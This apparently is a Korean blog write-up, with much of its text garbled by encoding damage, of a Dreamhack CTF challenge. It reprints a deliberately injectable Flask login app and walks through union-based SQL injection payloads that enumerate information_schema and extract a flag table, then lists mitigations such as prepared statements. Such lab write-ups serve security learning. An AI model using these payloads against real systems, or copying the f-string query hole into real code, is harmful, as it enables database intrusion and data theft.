๐๏ธ Access
๋ก๊ทธ์ธ ์ ๊ณ์ ์ ์ ๋ณด๊ฐ ์ถ๋ ฅ๋๋ ์น ์๋น์ค์ ๋๋ค.
SQL INJECTION ์ทจ์ฝ์ ์ ํตํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์.
๋ฌธ์ ์์ ์ฃผ์ด์ง init.sql ํ์ผ์ ํ ์ด๋ธ๋ช ๊ณผ ์ปฌ๋ผ๋ช ์ ์ค์ ์ด๋ฆ๊ณผ ๋ค๋ฆ ๋๋ค.
_
ํ๋๊ทธ ํ์์ DH{...} ์ ๋๋ค
๐พ Exploit Algorithm & Payload
> app.py
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0')
> init.sql
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
#1
: '/' ํ์ด์ง์์ uid์ upw๋ฅผ ์ ๋ ฅํ๋ฉด ๊ณ์ ์ ๋ณด๊ฐ ํ์ธ ๋ ๊ฒ์ผ๋ก ์์๋๋ค.
: ํํธ ํ์ผ์์ ์ด๋ฏธ ๋ช๊ฐ์ง ๊ณ์ ์ ๋ณด๋ฅผ ํ์ธ ํ๊ธฐ ๋๋ฌธ์ ์ฃผ์์ฒ๋ฆฌ ๋์์ด๋ ์ฑ๊ธ์ฟผํฐ๊ฐ ๋์ํ๋์ง ํ์ธํ๋ค.
: ์ด์ธ์๋ uid, upw ๊ฐ์ ์ฟผ๋ฆฌ๊ฐ ์ฐธ์ผ๋ก ๋์ํ๋ ๋ฐฉ์์ผ๋ก๋ ๊ณ์ ์ ๋ณด๊ฐ ์ถ๋ ฅ๋จ์ ์ ์ ์๋ค.
#2
...
CREATE TABLE fake_table_name(
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
...
: ๋ฌธ์ ์์ users ํ ์ด๋ธ ์ด์ธ์ ํ ์ด๋ธ์ด ์๋ ๊ฒ์ ํ์ธํ๋ค.
: ํ์ง๋ง ์ด ํ
์ด๋ธ์ ํ
์ด๋ธ๋ช
๊ณผ ์ปฌ๋ผ๋ช
์ ์ค์ ์ด๋ฆ๊ณผ ๋ค๋ฅด๋ค๋ ๊ฒ์ ํํธ ์ฝ๋์์ ์๋ ค์คฌ๊ธฐ ๋๋ฌธ์
"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';" ์ ์
๋ ฅ ์์์ ํ
์ด๋ธ ๋ช
์ ์ป์ด์ผํจ์ ์ ์ ์๋ค.
uid : 1' or '1
upw: ' UNION SELECT 1,2,3,4#
: ์ฐ์ fake_table_naem์ด๋ผ๋ ์์์ ํ ์ด๋ธ์ด 4๊ฐ์ ์ปฌ๋ผ์ด๋ผ๋ ๊ฒ์ ํํธ ์ฝ๋๋ฅผ ํตํด ํ์ธํ๋ค.
: ์ปฌ๋ผ์ด 4๊ฐ๊ฐ ๋ง๋์ง ์ง์ ํ์ธํ๊ธฐ ์ํด UNION์ ์ ์ฌ์ฉํ๋ค.
: ๊ฒฐ๊ณผ๋ก ์ปฌ๋ผ1,2,4๋ #,id,description์์ ํ์ธํ ์ ์๋ค. (์ด 4๊ฐ)
#3
uid: 1' or '1
upw: ' UNION SELECT 1,table_name,3,4 FROM information_schema.tables#
: ๋ค์๊ณผ ๊ฐ์ด ...table_name...information_schema.tables...๋ฅผ ํ์ฉํ๋ฉด ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ชจ๋ ํ ์ด๋ธ๋ช ์ ํ์ธํ ์ ์๊ฒ ๋๋ค.
: ํ ์ด๋ธ๋ช ์ ์ ์ดํด๋ณด๋ฉด flag์ ๊ด๋ จ๋ ํ ์ด๋ธ๋ช ์์ ์ ์ถํ ์ ์๋ค. (ํ ์ด๋ธ๋ช : onlyflag)
#4
uid: 1' or '1
upw: ' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='onlyflag'#
: ๋ค์๊ณผ ๊ฐ์ด ...column_name...information_schema.columns...table_name='[ํด๋น ํ ์ด๋ธ ๋ช ]'#๋ฅผ ํ์ฉํ๋ฉด ํด๋น ํ ์ด๋ธ์ ๋ชจ๋ ์ปฌ๋ผ๋ช ์ ํ์ธํ ์ ์๋ค. (idx, sname, svalue, sflag, sclose)
๐Analysis and results for obtaining the Flag DH{…}
uid: 1' or '1
1)
upw: ' UNION SELECT sname,svalue,sflag,sclose FROM onlyflag#
2)
upw: ' UNION SELECT svalue,sflag,3,sclose FROM onlyflag#
: 1) ์ฒ๋ผ ์์ฑํ์ฌ onlyflag ํ ์ด๋ธ์ sname,svalue,sflag,sclose ์ปฌ๋ผ์ ๊ฐ์ ํ์ธํ๋ฉด ์ผ๋ถ์ FLAG๋ฅผ ํ๋ํ ์ ์์๋ค.
: ๊ทธ๋ฌ๋ #2 ํ์ด์์ "๊ฒฐ๊ณผ๋ก ์ปฌ๋ผ1,2,4๋ #,id,description์์ ํ์ธ"์ด ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ 2)์ ๊ฐ์ด ์์ฑํด์ฃผ๋ฉด ์๋ฒฝํ FLAG๋ฅผ ํ๋ํ ์ ์๋ค.
๐ Summary
Union-based SQL Injection
SQL ์ฟผ๋ฆฌ์ UNION ์ฐ์ฐ์๋ฅผ ์ด์ฉํ์ฌ ์๋์ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ์ ์ถ๊ฐ ๊ฒฐ๊ณผ๋ฅผ ํฉ์น๋ ๋ช ๋ น์ด๋ก ๊ณต๊ฒฉ์๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ค๋ฅธ ํ ์ด๋ธ ์ ๋ณด๋ค์ ํ์ธํ ์ ์๊ฒ ๋จ.
-๋์๋ฐฉ์-
1) ์ ๋ ฅ ๊ฐ ๊ฒ์ฆ
2) ํ๋ผ๋ฏธํฐํ๋ ์ฟผ๋ฆฌ ์ฌ์ฉ(prepared statements)
: ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ง์ ์ ์ธ ์ฌ์ฉ์ ์ ๋ ฅ์ ํฌํจ์ํค์ง ๋ง๊ณ , ๋์ ์ค๋น๋ ํ๋ผ๋ฏธํฐ(prepared statements)๋ฅผ ์ฌ์ฉ
3) ์ต์ํ์ ๊ถํ ์ ์ฉ
4) ์น ๋ฐฉํ๋ฒฝ ์ฌ์ฉ
...
'[Dreamhack]WebHacking > Wargame&CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1:Beginner blue-whale (1) | 2024.02.07 |
---|---|
[Dreamhack] Level2: Dream Gallery (0) | 2024.02.03 |
[Dreamhack] Level2: filestorage (0) | 2024.02.02 |
[Dreamhack] Level1: Type c-j (2) | 2024.02.02 |
[Dreamhack] CTF Season 5 Round #2 - php7cmp4re (0) | 2024.01.28 |